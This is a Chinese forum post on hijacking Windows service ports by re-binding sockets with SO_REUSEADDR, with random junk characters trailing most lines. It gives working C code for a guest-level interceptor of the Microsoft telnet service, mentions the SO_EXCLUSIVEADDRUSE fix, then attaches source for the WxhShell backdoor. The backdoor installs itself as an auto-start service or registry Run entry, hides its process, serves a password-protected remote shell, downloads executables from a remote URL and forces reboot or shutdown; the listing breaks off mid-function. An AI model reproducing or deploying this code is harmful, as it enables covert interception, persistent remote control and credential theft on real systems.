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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tgy*!B6a~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o 5dPE{f  
y@"6Dt|  
  saddr.sin_family = AF_INET; (j;s6g0  
L.XGD|m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x 5vvY  
>%k:+ +b{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _|`~CLE[  
uh'{+E;=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]NS{q85  
e;9Z/);#s  
  这意味着什么?意味着可以进行如下的攻击: }p 0 \  
To1 .U)do  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B2Qt tcJ  
LIYj__4=|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r9<OB`)3+  
rf_(pp)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n}(/>?/  
(055>D6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <&:OSd:%  
Zq7Y('=`t@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 };"-6e/9  
-J8&!S8X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5hwe ul>S  
f QSP]?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v< qN -zG  
Mz,G;x}  
  #include &@CcH_d*  
  #include x5[wF6A  
  #include ZYr6Wn  
  #include    mOG;[CB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \^O&){q(9  
  int main() 4lMf'V7*l  
  { F}p)Q$0  
  WORD wVersionRequested; ? S^ U-.`  
  DWORD ret; tQ=P.14>:  
  WSADATA wsaData; P%M Yr"<$E  
  BOOL val; 8UiRirw  
  SOCKADDR_IN saddr; ^ Q]I)U  
  SOCKADDR_IN scaddr; 2fIHFo\8  
  int err; /<7'[x<  
  SOCKET s; ?7>G\0G  
  SOCKET sc; o ?z A'5q  
  int caddsize; ,TL8`  
  HANDLE mt; S- {=4b'  
  DWORD tid;   yf7p,_E/  
  wVersionRequested = MAKEWORD( 2, 2 ); W]b>k lp;  
  err = WSAStartup( wVersionRequested, &wsaData ); m{T:<:q~  
  if ( err != 0 ) { ,MH/lQq%  
  printf("error!WSAStartup failed!\n"); tnL$v2e6q  
  return -1; v4c*6(m  
  } h= tzG KI  
  saddr.sin_family = AF_INET; Z4 y9d?g%b  
   _p0@1 s(U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SVKjhZK  
@I_!q*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,gAa9  
  saddr.sin_port = htons(23); oD1rt>k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZBYFQTEE  
  { A=8%2U wI  
  printf("error!socket failed!\n"); XdS&s}J[I  
  return -1; {/|RKV83  
  } -\=s+n_ZP?  
  val = TRUE; F/33# U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <k59Ni9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )Iu0MN&  
  {  !4Q0   
  printf("error!setsockopt failed!\n"); >1luLp/,$  
  return -1; ;ED` 7  
  } })~M}d2LXB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; miWog8j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {v CB$@/o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :(7icHa  
(%p@G5GU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f_\,H|zco)  
  { w)xiiO[  
  ret=GetLastError(); L>xecep  
  printf("error!bind failed!\n"); FFC"rG  
  return -1; ,j3Yvn W  
  } >~_oSC)E  
  listen(s,2); j _]#Ew\q  
  while(1) r xlKoa  
  { T,G38  
  caddsize = sizeof(scaddr); )>-94xx|  
  //接受连接请求 -d'swx2aZ!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [%?ViKW  
  if(sc!=INVALID_SOCKET) R3 Zg,YM  
  { 3Lg)237&j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s>pM+PoGYd  
  if(mt==NULL) ^HiI   
  { y}aKL(AaU  
  printf("Thread Creat Failed!\n"); |azdFf6A:[  
  break; C?OqS+  
  } r@WfZ  Z  
  } ]*/%5ZOI&  
  CloseHandle(mt); 2Q bCH}  
  } P]h-**O  
  closesocket(s); T( LlNq  
  WSACleanup(); ~;)H |R5kV  
  return 0; k`aHG8S\  
  }   RX])#=Cs  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ec3TY<mVr  
  { #!yW)RG  
  SOCKET ss = (SOCKET)lpParam; o57r ,`N  
  SOCKET sc; pDYcsC{p  
  unsigned char buf[4096]; bX*>Zm   
  SOCKADDR_IN saddr; Kg8n3pLAX  
  long num; d@b" ~r}  
  DWORD val; A!GQ4.~%  
  DWORD ret; ;*+wg5|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5EX Ghc'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4CH/~b1 (  
  saddr.sin_family = AF_INET; .:wo ARW!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pl/}`H:R&  
  saddr.sin_port = htons(23); q0sdL86  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;rj|>  
  { 2=]Xe#5J=  
  printf("error!socket failed!\n"); [H4)p ,R  
  return -1; _GW,9s^A  
  } tDWoQ&z2t_  
  val = 100; P >>VBh?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UI]UxEJ  
  { ?GT,Y5  
  ret = GetLastError(); i:/Ws1=q  
  return -1; q+ZN$4m  
  } hBRcI0R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fk5$z0/  
  { "h\ (a<  
  ret = GetLastError(); r,8~qHbOT  
  return -1; Bx" eX>A8  
  } (qyT,K8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +{b3A@f|F  
  { ]yAOKmS  
  printf("error!socket connect failed!\n"); )&px[Dbx  
  closesocket(sc); 3'jH,17lWV  
  closesocket(ss); YJm64H,[  
  return -1; !5^&?plC@  
  } 4N K{RN3  
  while(1) k1_" }B5  
  { N+nv#]{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VRQD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YiGSFg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c,L{Qv"n{  
  num = recv(ss,buf,4096,0); A7enC,Ey  
  if(num>0) ^| r6>b  
  send(sc,buf,num,0); Eb~e=){  
  else if(num==0) {lO>i&mx  
  break; XF Cwa  
  num = recv(sc,buf,4096,0); 9%iv?/o*L  
  if(num>0) cOoF +hz0O  
  send(ss,buf,num,0); k [eWhdSw  
  else if(num==0) crlCN  
  break; pPH"6   
  } YZ(tjIgQ  
  closesocket(ss); ,t|qhJF  
  closesocket(sc); v/G)E_  
  return 0 ; BenUyv1d  
  } "lnI@t{o  
]w/%>  
wQw&.)T  
========================================================== T`W37fz0  
:8LK}TY7  
下边附上一个代码,,WXhSHELL (Kg( 6E,  
AAc*\K  
========================================================== XCyAt;neon  
H$)__V5I,q  
#include "stdafx.h" L7"B`oa(p  
#>_5PdO  
#include <stdio.h> ?Zh,W(7W  
#include <string.h> M $\!SXL  
#include <windows.h> 79d< ,q;uR  
#include <winsock2.h> Sau?Y  
#include <winsvc.h> c4 bo  
#include <urlmon.h> q Oyo+hu  
"?Yf3G:\0  
#pragma comment (lib, "Ws2_32.lib") *wl&Zzx  
#pragma comment (lib, "urlmon.lib") !.c no&  
&]S\GnqlU]  
#define MAX_USER   100 // 最大客户端连接数 L a8D%N  
#define BUF_SOCK   200 // sock buffer YgR}y+q^6  
#define KEY_BUFF   255 // 输入 buffer <!a%GI  
_%@ri]u{ov  
#define REBOOT     0   // 重启 &:[hUn8jU  
#define SHUTDOWN   1   // 关机 Wu@v%!0  
@p [ml m  
#define DEF_PORT   5000 // 监听端口 X*< !_3  
i-M<_62c  
#define REG_LEN     16   // 注册表键长度 VpyqVbx1  
#define SVC_LEN     80   // NT服务名长度 EXizRL-9o  
uGY(`  
// 从dll定义API ,tl(\4n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M-zqD8D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U}c05GiQw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lt2<3DB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3FsX3K,_X  
/7&WFCc)(  
// wxhshell配置信息 "VgPaz#  
struct WSCFG { Gq =i-I  
  int ws_port;         // 监听端口 Noi+mL  
  char ws_passstr[REG_LEN]; // 口令 A&UGr971  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q60'5Wt  
  char ws_regname[REG_LEN]; // 注册表键名 60X))MyN  
  char ws_svcname[REG_LEN]; // 服务名 ;R*tT%Z,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g93H l&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K-Fro~U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XLj|y#h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n0vhc;d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" & d@N3y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [;$9s=:[  
KvNw'3Ua  
}; i'MpS  
H|s,;1#  
// default Wxhshell configuration 5 NN`tv  
struct WSCFG wscfg={DEF_PORT, +P|Z1a -jB  
    "xuhuanlingzhe", 7CSd}@71\  
    1, u iR[V~  
    "Wxhshell", zw}Wm4OH  
    "Wxhshell", a]t| /Mq  
            "WxhShell Service", SGUZ'}  
    "Wrsky Windows CmdShell Service", #sb@)Q  
    "Please Input Your Password: ", 6I-Qq?L[H  
  1, {33B%5n"  
  "http://www.wrsky.com/wxhshell.exe", w'&QNm>  
  "Wxhshell.exe" Q+zy\T  
    }; Z3N^)j8  
yv2wQ_({  
// 消息定义模块 OYj~"-3y)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _.+2sm   
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wq"^{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,A;wLI  
char *msg_ws_ext="\n\rExit."; VL8yL`~zc.  
char *msg_ws_end="\n\rQuit."; *x@.$=NF"  
char *msg_ws_boot="\n\rReboot..."; XpT+xv1`;  
char *msg_ws_poff="\n\rShutdown..."; eK =v<X  
char *msg_ws_down="\n\rSave to "; j!/=w q  
;bYLQ  
char *msg_ws_err="\n\rErr!"; x]pZcx9  
char *msg_ws_ok="\n\rOK!"; lJ(] ;/%  
SxW.dT8{  
char ExeFile[MAX_PATH]; ;, ^AR{+x  
int nUser = 0; Xr]<v%,C  
HANDLE handles[MAX_USER]; p{w:^l(  
int OsIsNt; E#(dri*#t  
"4WwiI9  
SERVICE_STATUS       serviceStatus; ANlzF& K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #iAw/a0&  
2}kJN8\F  
// 函数声明 FV5~sy  
int Install(void); 2i~zAD'  
int Uninstall(void); [=& tN)_  
int DownloadFile(char *sURL, SOCKET wsh); r@ v&~pL  
int Boot(int flag); 4C`p`AQqpQ  
void HideProc(void); UU  DZ  
int GetOsVer(void); x?n13C  
int Wxhshell(SOCKET wsl); KpfQ=~'  
void TalkWithClient(void *cs); sO 0j!;N  
int CmdShell(SOCKET sock); '=cAdja  
int StartFromService(void); !xz{X?  
int StartWxhshell(LPSTR lpCmdLine); `+5,=S  
VZCCMh-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >/9on.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yN9setw*,M  
*s (L!+  
// 数据结构和表定义 DUWSY?^c  
SERVICE_TABLE_ENTRY DispatchTable[] = ;]Ko7M(4  
{ ;\rKkH"K8n  
{wscfg.ws_svcname, NTServiceMain}, hg+0!DVx  
{NULL, NULL} OJXK]dZ  
}; \>)#cEX5  
1MxO((k  
// 自我安装 #GIjU1-  
int Install(void) C$7dmGjZ  
{ (x/xqDpmBS  
  char svExeFile[MAX_PATH]; ]C5/-J,F  
  HKEY key; 2M*84oh8P  
  strcpy(svExeFile,ExeFile); LNI]IITx/  
lJdwbuB6  
// 如果是win9x系统,修改注册表设为自启动 ^u$?& #  
if(!OsIsNt) { 1wt(pkNk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >f-*D25f%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qTrb)95  
  RegCloseKey(key); 1Gh3o}z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TmUN@h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1 2J#}|  
  RegCloseKey(key); "cx#6Bo|  
  return 0; M:cW/&ZJ  
    } m 4V0e~]  
  } Or"+d 5  
} Usf7 AS=  
else { <BhNmEo)2  
E2yL9]K2  
// 如果是NT以上系统,安装为系统服务 =6< Am  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _>(qQ-Px  
if (schSCManager!=0) |5#iPw_wMY  
{ C252E  
  SC_HANDLE schService = CreateService Ct0YwIR*  
  ( cB|Rj}40v  
  schSCManager, :WAFBK/x  
  wscfg.ws_svcname, `xie/  
  wscfg.ws_svcdisp, } .'\IR  
  SERVICE_ALL_ACCESS, qZ rv2dT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Uh|V -  
  SERVICE_AUTO_START, \4"01:u'  
  SERVICE_ERROR_NORMAL, mH5[(?   
  svExeFile, +w9X$<?_  
  NULL, %tT=q^%5  
  NULL, LRKl3"M  
  NULL, CINC1Ll_24  
  NULL, y4`uU1=  
  NULL )~=g}&  
  ); u>h|A(<  
  if (schService!=0) 7f#r&~=  
  { GcCMCR3  
  CloseServiceHandle(schService); 3FE=?Q  
  CloseServiceHandle(schSCManager); `;v>fTcy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $\vTiS'  
  strcat(svExeFile,wscfg.ws_svcname); ^eY% T5K   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;/)u/[KAv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  Mt   
  RegCloseKey(key); y3Lq"?h  
  return 0;  ];hK5  
    } [zc8f  
  } V jZx{1kCR  
  CloseServiceHandle(schSCManager); 8bW,.to(?x  
} 9 t o2V  
} }4wIfI83K,  
:Mzkm^7B  
return 1; t7qzAr  
} -:!FQ'/7E  
#xe-Yw1!  
// 自我卸载 HG:9yP<,o  
int Uninstall(void) @&}~r  
{ $C`YVv%?0  
  HKEY key; Fa^I 1fk  
8D1+["&  
if(!OsIsNt) { _0 $W;8X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1zlBkK   
  RegDeleteValue(key,wscfg.ws_regname); P h/!a6y  
  RegCloseKey(key); 3iv;4e ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3{R7y  
  RegDeleteValue(key,wscfg.ws_regname); 4I7;/ZgALQ  
  RegCloseKey(key); /I@Dv?  
  return 0; }S}9Pm,:  
  } GK8x<Aq%z  
} >do3*ko A  
} PR;A 0   
else { )]P%=  
NI33lp$V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VVVw\|JB>  
if (schSCManager!=0) z2DjYTm[~  
{ _1U7@v:<@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ebmU~6v k  
  if (schService!=0) R4q)FXW29  
  { rIo)'L$uU  
  if(DeleteService(schService)!=0) { ED=P  6u  
  CloseServiceHandle(schService); -9@/S$i  
  CloseServiceHandle(schSCManager); {Tl|>\[P  
  return 0; f<}>*xH/k  
  } Q=T/hb  
  CloseServiceHandle(schService); CZ.XEMN\  
  } { ((|IvP`  
  CloseServiceHandle(schSCManager); aFtL_# U  
} mCQn '{)  
} <[w>Mbqj_  
("5Eed  
return 1; 9&7$oI$!J  
} hB 36o9|9  
J sc`^a%`'  
// 从指定url下载文件 -]e@FNL  
int DownloadFile(char *sURL, SOCKET wsh) [lbe_G;  
{ g@][h_? {  
  HRESULT hr; `6BjNV  
char seps[]= "/"; SJ;Kjq.Qo  
char *token; %X>P+6<=  
char *file; })^%>yLfc|  
char myURL[MAX_PATH]; |6y(7Ha  
char myFILE[MAX_PATH]; :rhh=nHgn  
cO^}A(Ma(  
strcpy(myURL,sURL); 2pn8PQfg)  
  token=strtok(myURL,seps); vivU4:uH3  
  while(token!=NULL) ;"j>k>tg  
  { 7PG|e#  
    file=token; G$_=rHt_%  
  token=strtok(NULL,seps); 6p1)wf.J  
  } TOvpv@?-  
Z%1{B*(e  
GetCurrentDirectory(MAX_PATH,myFILE); )AoF-&,w  
strcat(myFILE, "\\"); t $yt8#Tk  
strcat(myFILE, file); f )K(la^'  
  send(wsh,myFILE,strlen(myFILE),0); Mw9;O6  
send(wsh,"...",3,0); |(6H)S]$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QH.zsqf(  
  if(hr==S_OK) T3#KuiwU9  
return 0; "{Jq6):mp  
else (HD=m, }  
return 1; )mvD2]fK  
Tyk\l>S  
} ]<B@g($  
s%p,cz; ,  
// 系统电源模块 Q\k|pg?  
int Boot(int flag) p:@JCsH=  
{ #V:28[  
  HANDLE hToken; =%IBl]Z!"  
  TOKEN_PRIVILEGES tkp; >;M?f!  
9Vh>ty1|_  
  if(OsIsNt) { whdoG{/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E,g5[s@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r"aJ&~8::W  
    tkp.PrivilegeCount = 1;  Z?_ t3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }8,[B50  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |E =8  
if(flag==REBOOT) { xKW`m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [>y0Xf9^  
  return 0; 1j":j%9M  
} +kN/-UsB  
else { QYj8c]8f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !1<?ddH6  
  return 0; x8q3 Njr  
} |r%lJmBB  
  } xHo iu$i6  
  else { C. rLog#  
if(flag==REBOOT) { s`E^1jC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u^NZsuak  
  return 0; dOfEEqPI  
} &Y/Myh[P  
else { Fo86WP}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nL]-]n;  
  return 0; @& vtY._  
} 2^.qKY@g@  
} ZN]LJ4|xu  
{:m%n-  
return 1; e6JT|>9A7  
} n 0*a.  
}jWZqIqj  
// win9x进程隐藏模块 u{SJ#3C5  
void HideProc(void) !W3bHy:C"  
{ @cz\'v6E  
a$K.Or}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); = ^OXP+o  
  if ( hKernel != NULL ) A0>u9Bn"Qw  
  { aHzS>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R]y[n;aGC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FPB O=?H.  
    FreeLibrary(hKernel); 0-!K@#$>=  
  } '.8E_Jd0E  
!f^'-  
return; vn0}l6n3s  
} eGi[LJ)np  
gBZ1Weu-'  
// 获取操作系统版本 RO10$1IW.2  
int GetOsVer(void) u_~*)w+mS@  
{ },@1i<Bb  
  OSVERSIONINFO winfo; 5C^oqUZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d l<7jM?  
  GetVersionEx(&winfo); 6I yD7PQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ci~pM<+  
  return 1; 00d<V:Aoy  
  else DL:wiQ  
  return 0; i& ,Wg8#R  
} +dIO+(&g  
0s#`H  
// 客户端句柄模块 P$=BmBq18`  
int Wxhshell(SOCKET wsl) ?%Pd:~4D  
{ lNw8eT~2  
  SOCKET wsh; Hi{1C"%  
  struct sockaddr_in client; (E.,kcAJ  
  DWORD myID; OE4hG xG  
SK @%r  
  while(nUser<MAX_USER) v|r=}`k=  
{ wx,yx3c (  
  int nSize=sizeof(client); `l0&,]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i{9_C/  
  if(wsh==INVALID_SOCKET) return 1; _3lci  
,%zU5hh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nn0`A3  
if(handles[nUser]==0) ygA~d9"  
  closesocket(wsh); WHM|kt  
else uN)o|7  
  nUser++; 6zGM[2  
  } K Qz.g3,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9Un3La8PX  
86BY032H  
  return 0; 2zz7/]?Q   
} tf5h/:  
{M.OOEcIp  
// 关闭 socket rrSsQq  
void CloseIt(SOCKET wsh) N5SePA\ ,?  
{ *C*'J7  
closesocket(wsh); jM'kY|<g;  
nUser--; c9c_7g'q-  
ExitThread(0); R zOs,  
} S-$N!G~!  
:E>" z6H  
// 客户端请求句柄 HL^+:`,  
void TalkWithClient(void *cs) v9<'nU WVR  
{ 0E5"}8  
*88Q6=Mm  
  SOCKET wsh=(SOCKET)cs; aBN^J_  
  char pwd[SVC_LEN]; :=iP_*#  
  char cmd[KEY_BUFF]; 8?> #  
char chr[1]; vl "l  
int i,j; \.`;p  
Pr%Y!|  
  while (nUser < MAX_USER) { m@z.H;  
YA:7^-Bv  
if(wscfg.ws_passstr) { c8^M::NI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $@[`v0y*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c89+}]mGq  
  //ZeroMemory(pwd,KEY_BUFF); ds*N1[ *  
      i=0; R.FC3<TTv  
  while(i<SVC_LEN) { !\DlX |  
|\lsTY&2  
  // 设置超时 / X #4  
  fd_set FdRead; l. 9 i `  
  struct timeval TimeOut; *" ("^_x\  
  FD_ZERO(&FdRead); *K<|E15 ,  
  FD_SET(wsh,&FdRead); ODbEL/  
  TimeOut.tv_sec=8; m=hlim;P,  
  TimeOut.tv_usec=0; =Z3{6y}3p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  *XlbD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gtV^6(Y  
?51Y&gOEZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !6R;fD#^s  
  pwd=chr[0]; $E j;CN59  
  if(chr[0]==0xd || chr[0]==0xa) { $mV1K)ege  
  pwd=0; 907N;r  
  break; VDyQv^=#  
  } k`5jy~;  
  i++; NM`5hd{  
    } :oYz=c  
-/y]'_a  
  // 如果是非法用户,关闭 socket v `a:Lj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); biBo?k;4  
} 8R) 0|v&;  
j>{Dbl:#2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _:B/XZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hLqRF4>L  
co93}A,k  
while(1) { &tAhRMa  
vpS&w  
  ZeroMemory(cmd,KEY_BUFF); f6I$d<  
*v' d1.Z  
      // 自动支持客户端 telnet标准   @Nm;lZK  
  j=0; kXfTNMb  
  while(j<KEY_BUFF) { Q1A_hW2x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z4^O`yS9+  
  cmd[j]=chr[0]; m ll-cp  
  if(chr[0]==0xa || chr[0]==0xd) { b.LMJ'1  
  cmd[j]=0; &zxqVI$4  
  break; / bxu{|.  
  } &y7<h>z  
  j++; e;*GbXd|  
    } PQkFzyk  
1[; 7Ay  
  // 下载文件 [{i"Au]  
  if(strstr(cmd,"http://")) { 4dEfXrMf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {CO]wqEj  
  if(DownloadFile(cmd,wsh)) - kGwbV}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k3HPY}-  
  else pQ_EJX)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /tG0"1{  
  } R">-h;#  
  else { nOH x^(  
va`/Dp)M  
    switch(cmd[0]) { M/O Y "eL  
  uuD|%-Ng  
  // 帮助 DFk0"+Ky  
  case '?': { 7CK3t/3D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B$ Z%_j&  
    break; z154lY}K  
  } u{6b>c|,X  
  // 安装 .+@;gVZx1  
  case 'i': { XtJIaD|:3  
    if(Install()) FyF./  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !a.|URa7  
    else wjVmK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x %hV5KW  
    break; Y-&SZI4H  
    } u/I|<NAC,  
  // 卸载 XY_zF F  
  case 'r': { vhEqHjR:  
    if(Uninstall()) 2`Ojw_$W7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =ObI  
    else 3Uy48ue  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 +0-VRl  
    break; >8* 0"Q  
    } U '$W$()p  
  // 显示 wxhshell 所在路径 HGwSsoS  
  case 'p': { Q{:5gh  
    char svExeFile[MAX_PATH]; c*k%r2'  
    strcpy(svExeFile,"\n\r"); ;v*J:Mn/=  
      strcat(svExeFile,ExeFile); (}#8$ )  
        send(wsh,svExeFile,strlen(svExeFile),0); A=PJg!  
    break; |= o)|z2  
    } _s1pif  
  // 重启 Fx3CY W  
  case 'b': { e #5LBSP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'o!{YLJ fM  
    if(Boot(REBOOT)) _x2i=SFo*$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mur)'  
    else { o4zX 41W  
    closesocket(wsh); *%nV<}e^_=  
    ExitThread(0); xpO'.xEs  
    } TEzMFu+V  
    break; 9sgyg3fv>5  
    } pGsk[.  
  // 关机 k6}M7 &nY  
  case 'd': { *K57($F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TI<?h(*R_  
